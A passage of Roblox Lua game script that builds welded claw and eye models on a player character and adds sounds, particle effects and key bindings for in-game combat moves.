2510 | fp.Size=size | |
2511 | fp.Position=Character.Torso.Position | |
2512 | nooutline(fp) | |
2513 | fp.Material=material | |
2514 | fp:BreakJoints() | |
2515 | return fp | |
2516 | end | |
2517 | ||
2518 | function mesh(Mesh,part,meshtype,meshid,offset,scale) | |
2519 | local mesh=it(Mesh) | |
2520 | mesh.Parent=part | |
2521 | if Mesh=="SpecialMesh" then | |
2522 | mesh.MeshType=meshtype | |
2523 | mesh.MeshId=meshid | |
2524 | end | |
2525 | mesh.Offset=offset | |
2526 | mesh.Scale=scale | |
2527 | return mesh | |
2528 | end | |
2529 | ||
2530 | function weld(parent,part0,part1,c0,c1) | |
2531 | local weld=it("Weld") | |
2532 | weld.Parent=parent | |
2533 | weld.Part0=part0 | |
2534 | weld.Part1=part1 | |
2535 | weld.C0=c0 | |
2536 | weld.C1=c1 | |
2537 | return weld | |
2538 | end | |
2539 | ||
2540 | local modelzorz=Instance.new("Model") | |
2541 | modelzorz.Parent=Character | |
2542 | modelzorz.Name="Claw1" | |
2543 | ||
2544 | Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1)) | |
2545 | Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963)) | |
2546 | mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) | |
2547 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2548 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906)) | |
2549 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2550 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862)) | |
2551 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2552 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2553 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996)) | |
2554 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2555 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459)) | |
2556 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2557 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592)) | |
2558 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2559 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537)) | |
2560 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2561 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266)) | |
2562 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2563 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906)) | |
2564 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2565 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265)) | |
2566 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2567 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829)) | |
2568 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2569 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562)) | |
2570 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2571 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2572 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682)) | |
2573 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2574 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805)) | |
2575 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2576 | Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
2577 | Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086)) | |
2578 | mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) | |
2579 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2580 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474)) | |
2581 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2582 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2583 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891)) | |
2584 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2585 | ||
2586 | local modelzorz2=Instance.new("Model") | |
2587 | modelzorz2.Parent=Character | |
2588 | modelzorz2.Name="Claw2" | |
2589 | ||
2590 | Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1)) | |
2591 | Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559)) | |
2592 | mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) | |
2593 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2594 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183)) | |
2595 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2596 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009)) | |
2597 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2598 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139)) | |
2599 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2600 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765)) | |
2601 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2602 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2603 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858)) | |
2604 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2605 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2606 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958)) | |
2607 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2608 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964)) | |
2609 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2610 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2611 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885)) | |
2612 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2613 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137)) | |
2614 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2615 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2616 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696)) | |
2617 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2618 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073)) | |
2619 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2620 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2621 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183)) | |
2622 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2623 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377)) | |
2624 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2625 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329)) | |
2626 | Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
2627 | Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636)) | |
2628 | mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) | |
2629 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2630 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835)) | |
2631 | ||
2632 | local modelzorz3=Instance.new("Model") | |
2633 | modelzorz3.Parent=Character | |
2634 | modelzorz3.Name="Eye" | |
2635 | ||
2636 | handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
2637 | handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0)) | |
2638 | mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1)) | |
2639 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
2640 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
2641 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996)) | |
2642 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
2643 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
2644 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963)) | |
2645 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
2646 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
2647 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039)) | |
2648 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
2649 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
2650 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039)) | |
2651 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
2652 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752)) | |
2653 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
2654 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
2655 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
2656 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702)) | |
2657 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
2658 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537)) | |
2659 | local moosick = it("Sound",Character) | |
2660 | moosick.SoundId = "rbxassetid://613035749" | |
2661 | --142653441, 175067863 | |
2662 | moosick.Looped = true | |
2663 | moosick.Pitch = 0.9775 | |
2664 | moosick.Volume = 1.5 | |
2665 | moosick:Play() | |
2666 | ||
2667 | anim = Character:findFirstChild("Animate") | |
2668 | if anim then | |
2669 | anim:Destroy() | |
2670 | end | |
2671 | ||
2672 | local particleemitter = Instance.new("ParticleEmitter", Handle) | |
2673 | particleemitter.VelocitySpread = 180 | |
2674 | particleemitter.Lifetime = NumberRange.new(0.1) | |
2675 | particleemitter.Speed = NumberRange.new(2) | |
2676 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) | |
2677 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
2678 | particleemitter.Rate = 100 | |
2679 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
2680 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
2681 | particleemitter.LightEmission = 0.8 | |
2682 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
2683 | ||
2684 | local particleemitter = Instance.new("ParticleEmitter", Handle2) | |
2685 | particleemitter.VelocitySpread = 180 | |
2686 | particleemitter.Lifetime = NumberRange.new(0.1) | |
2687 | particleemitter.Speed = NumberRange.new(2) | |
2688 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) | |
2689 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
2690 | particleemitter.Rate = 100 | |
2691 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
2692 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
2693 | particleemitter.LightEmission = 0.8 | |
2694 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
2695 | ||
2696 | local particleemitter = Instance.new("ParticleEmitter", handle) | |
2697 | particleemitter.VelocitySpread = 180 | |
2698 | particleemitter.Lifetime = NumberRange.new(0.1) | |
2699 | particleemitter.Speed = NumberRange.new(2) | |
2700 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)}) | |
2701 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
2702 | particleemitter.Rate = 100 | |
2703 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
2704 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
2705 | particleemitter.LightEmission = 0.8 | |
2706 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
2707 | ||
2708 | local light = Instance.new("PointLight", Character.Torso) | |
2709 | light.Color = Color3.new(255,255,255) | |
2710 | light.Brightness = 5 | |
2711 | light.Range = 15 | |
2712 | ||
2713 | particleemitter.Enabled = true | |
2714 | ||
2715 | local Footsteps = it("Sound",Character.Torso) | |
2716 | Footsteps.SoundId = "rbxassetid://142665235" | |
2717 | Footsteps.Looped = true | |
2718 | Footsteps.Pitch = 0.8 | |
2719 | Footsteps.Volume = 0.3 | |
2720 | ||
2721 | local Footsteps2 = it("Sound",Character.Torso) | |
2722 | Footsteps2.SoundId = "rbxassetid://142665235" | |
2723 | Footsteps2.Looped = true | |
2724 | Footsteps2.Pitch = 1 | |
2725 | Footsteps2.Volume = 0.4 | |
2726 | ||
2727 | local cam = game.Workspace.CurrentCamera | |
2728 | ||
2729 | --cam.CameraSubject = Character | |
2730 | ||
2731 | for i,v in pairs(Head:children()) do | |
2732 | if v:IsA("Sound") then | |
2733 | v:Destroy() | |
2734 | end | |
2735 | end | |
2736 | ||
2737 | mouse.Button1Down:connect(function() | |
2738 | if attack==false and attacktype==1 then | |
2739 | attacktype=2 | |
2740 | attackone() | |
2741 | elseif attack==false and attacktype==2 then | |
2742 | attacktype=3 | |
2743 | attacktwo() | |
2744 | elseif attack==false and attacktype==3 then | |
2745 | attacktype=4 | |
2746 | attackthree() | |
2747 | elseif attack==false and attacktype==4 then | |
2748 | attacktype=1 | |
2749 | attackfour() | |
2750 | end | |
2751 | end) | |
2752 | ||
2753 | mouse.KeyDown:connect(function(k) | |
2754 | k=k:lower() | |
2755 | if k=='e' then | |
2756 | if attack==false and mana>=20 then | |
2757 | Push() | |
